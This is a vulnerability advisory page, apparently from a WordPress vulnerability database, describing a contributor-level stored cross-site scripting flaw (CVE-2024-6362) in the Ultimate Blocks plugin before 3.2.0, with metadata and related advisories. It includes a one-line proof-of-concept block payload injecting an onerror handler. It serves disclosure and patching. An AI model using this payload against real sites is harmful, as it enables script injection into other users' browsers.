Ultimate Blocks < 3.2.0 – Contributor+ Stored XSS | CVE 2024-6362 | Plugin Vulnerabilities

Description

The plugin does not validate and escape some of its post-grid block attributes before outputting them back in a page/post where the block is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks

Proof of Concept

As a contributor, put the below code in a post while in code editor mode:

<!-- wp:ub/post-grid {"blockID":"a8c7dde7-b132-40a2-89ac-42425cef5e3a","postImageWidth":0,"excerptLength":24,"readMoreText":"123","postLayout":"list","columnGap":"30px","postTitleTag":"img src=x onerror=alert(/XSS/)"} /-->

The XSS will be triggered when (pre)viewing the post

Affects Plugins

ultimate-blocks

Fixed in 3.2.0

References

CVE

URL

https://research.cleantalk.org/cve-2024-6362/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Dmitrii Ignatyev

Submitter

Dmitrii Ignatyev

Submitter website

https://www.linkedin.com/in/dmitriy-ignatyev-8a9189267/

Verified

Yes

WPVDB ID

d2e2d06b-0f07-40b9-9b87-3373f62ae1a9

Timeline

Publicly Published

2024-07-08 (about 1 year ago)

Added

2024-07-08 (about 1 year ago)

Last Updated

2024-07-08 (about 1 year ago)

Other

Published

Title

Published

2024-06-25

Title

WP Cookie Consent ( for GDPR, CCPA & ePrivacy ) < 3.3.0 - Unauthenticated Stored Cross-Site Scripting via Client-IP header

Published

2024-06-10

Title

Essential Addons for Elementor – Best Elementor Templates, Widgets, Kits & WooCommerce Builders < 5.9.24 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-09-26

Title

Sky Addons for Elementor < 2.5.12 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2019-08-20

Title

Additional Variation Images for WooCommerce < 1.1.29 - Authenticated Stored XSS

Published

2024-11-13

Title

Themify Builder < 7.6.6 - Contributor+ Stored XSS